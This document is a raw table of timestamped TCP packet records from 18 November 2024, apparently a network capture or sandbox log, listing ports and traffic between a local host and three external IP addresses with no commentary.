Nov 18, 2024 15:17:57.279061079 CET	49842	443	192.168.2.9	23.198.7.171
Nov 18, 2024 15:17:57.279073954 CET	443	49842	23.198.7.171	192.168.2.9
Nov 18, 2024 15:17:57.902143002 CET	443	49842	23.198.7.171	192.168.2.9
Nov 18, 2024 15:17:57.902594090 CET	49842	443	192.168.2.9	23.198.7.171
Nov 18, 2024 15:17:57.902621031 CET	443	49842	23.198.7.171	192.168.2.9
Nov 18, 2024 15:17:57.903944016 CET	443	49842	23.198.7.171	192.168.2.9
Nov 18, 2024 15:17:57.904030085 CET	49842	443	192.168.2.9	23.198.7.171
Nov 18, 2024 15:17:57.904346943 CET	49842	443	192.168.2.9	23.198.7.171
Nov 18, 2024 15:17:57.904413939 CET	443	49842	23.198.7.171	192.168.2.9
Nov 18, 2024 15:17:57.956640959 CET	49842	443	192.168.2.9	23.198.7.171
Nov 18, 2024 15:17:57.956662893 CET	443	49842	23.198.7.171	192.168.2.9
Nov 18, 2024 15:17:58.006716967 CET	49842	443	192.168.2.9	23.198.7.171
Nov 18, 2024 15:18:05.245989084 CET	49845	80	192.168.2.9	185.215.113.43
Nov 18, 2024 15:18:05.251039028 CET	80	49845	185.215.113.43	192.168.2.9
Nov 18, 2024 15:18:05.251146078 CET	49845	80	192.168.2.9	185.215.113.43
Nov 18, 2024 15:18:05.251291990 CET	49845	80	192.168.2.9	185.215.113.43
Nov 18, 2024 15:18:05.256287098 CET	80	49845	185.215.113.43	192.168.2.9
Nov 18, 2024 15:18:06.169872999 CET	80	49845	185.215.113.43	192.168.2.9
Nov 18, 2024 15:18:06.169959068 CET	49845	80	192.168.2.9	185.215.113.43
Nov 18, 2024 15:18:07.680633068 CET	49845	80	192.168.2.9	185.215.113.43
Nov 18, 2024 15:18:07.680986881 CET	49846	80	192.168.2.9	185.215.113.43
Nov 18, 2024 15:18:07.686367035 CET	80	49846	185.215.113.43	192.168.2.9
Nov 18, 2024 15:18:07.686474085 CET	49846	80	192.168.2.9	185.215.113.43
Nov 18, 2024 15:18:07.686644077 CET	80	49845	185.215.113.43	192.168.2.9
Nov 18, 2024 15:18:07.686696053 CET	49845	80	192.168.2.9	185.215.113.43
Nov 18, 2024 15:18:07.686815977 CET	49846	80	192.168.2.9	185.215.113.43
Nov 18, 2024 15:18:07.692048073 CET	80	49846	185.215.113.43	192.168.2.9
Nov 18, 2024 15:18:08.609092951 CET	80	49846	185.215.113.43	192.168.2.9
Nov 18, 2024 15:18:08.609199047 CET	49846	80	192.168.2.9	185.215.113.43
Nov 18, 2024 15:18:08.612667084 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:08.617681980 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:08.617796898 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:08.617985010 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:08.623418093 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.525578976 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.525621891 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.525671959 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.525703907 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.525732994 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.525731087 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.525762081 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.525763988 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.525790930 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.525820971 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.525823116 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.525850058 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.525850058 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.525882006 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.525886059 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.525909901 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.525948048 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.531330109 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.531371117 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.531388998 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.531411886 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.531418085 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.531452894 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.531455040 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.531511068 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.667736053 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.667793989 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.667819977 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.667835951 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.667862892 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.667876005 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.667876005 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.667915106 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.667922974 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.667956114 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.667954922 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.668001890 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.668171883 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.668209076 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.668220043 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.668246984 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.668256044 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.668292046 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.668572903 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.668610096 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.668626070 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.668647051 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.668653011 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.668718100 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.683542013 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.683578968 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.683603048 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.683614969 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.683630943 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.683653116 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.784502983 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.784569979 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.784601927 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.784636021 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.784642935 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.784674883 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.784689903 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.784712076 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.784730911 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.784957886 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.785002947 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.785053968 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.785114050 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.785190105 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.785224915 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.785233021 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.785262108 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.785269022 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.785300016 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.785309076 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.785346031 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.800525904 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.800580978 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.800605059 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.800622940 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.800730944 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.800777912 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.800777912 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.800793886 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.800864935 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.800913095 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.809801102 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.809869051 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.810074091 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.810128927 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.901591063 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.901668072 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.901701927 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.901735067 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.901756048 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.901782990 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.901793003 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.901808977 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.901825905 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.901839972 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.901880026 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.901913881 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.901961088 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.902014017 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.902062893 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.902138948 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.902173996 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.902188063 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.902215004 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.902230978 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.902278900 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.917526007 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.917565107 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.917601109 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.917603016 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.917617083 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.917640924 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.917644978 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.917679071 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.917696953 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.917716026 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.917732000 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.917766094 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.926897049 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.926985025 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:09.927125931 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:09.927186012 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.018834114 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.018886089 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.018898010 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.018925905 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.018938065 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.018970013 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.019000053 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.019010067 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.019105911 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.019164085 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.019200087 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.019222021 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.019227982 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.019294977 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.019341946 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.019366026 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.019402981 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.019412041 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.019452095 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.034734964 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.034749985 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.034763098 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.034787893 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.034797907 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.034826040 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.034842014 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.034871101 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.034879923 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.034898996 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.034923077 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.035304070 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.035351038 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.035506964 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.035552979 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.043870926 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.043917894 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.043934107 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.043970108 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.135788918 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.135834932 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.135858059 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.135873079 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.135889053 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.135911942 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.135917902 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.135948896 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.135951996 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.135986090 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.136065006 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.136110067 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.136126041 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.136169910 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.136267900 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.136321068 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.136328936 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.136368036 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.136382103 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.136406898 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.151880980 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.151936054 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.151973009 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.152002096 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.152002096 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.152023077 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.152030945 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.152070999 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.152070999 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.152101040 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.152110100 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.152139902 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.152234077 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.152264118 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.152282953 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.152308941 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.160813093 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.160867929 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.160868883 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.160907984 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.252810001 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.252850056 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.252875090 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.252887011 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.252897978 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.252927065 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.252932072 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.252964973 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.252974033 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.253001928 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.253010035 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.253037930 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.253051996 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.253076077 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.253082037 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.253118992 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.268635988 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.268672943 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.268691063 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.268709898 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.268714905 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.268752098 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.268779993 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.268831968 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.268959045 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.268990040 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.269021988 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.269088030 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.269212008 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.269243002 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.269258976 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.269282103 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.269290924 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.269324064 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.269382000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.269426107 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.270220041 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.270272017 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.277857065 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.277909994 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.277934074 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.277977943 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.370172977 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.370250940 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.370249033 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.370295048 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.370297909 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.370332003 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.370336056 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.370372057 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.370399952 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.370407104 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.370419025 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.370445967 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.370452881 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.370486021 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.370687962 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.370718002 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.370738029 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.370805979 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.385694981 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.385735989 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.385752916 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.385776043 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.385787010 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.385823965 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.385858059 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.385912895 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.386126041 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.386176109 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.386240959 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.386276960 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.386291981 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.386315107 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.386321068 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.386357069 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.394982100 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.395026922 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.395041943 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.395065069 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.395085096 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.395123005 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.488188028 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.488253117 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.488296032 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.488336086 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.488342047 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.488373041 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.488409996 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.488420010 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.488452911 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.488866091 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.488902092 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.488926888 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.488936901 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.488944054 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.488981962 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.503262043 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.503299952 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.503355026 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.503370047 CET	49847	80	192.168.2.9	31.41.244.11
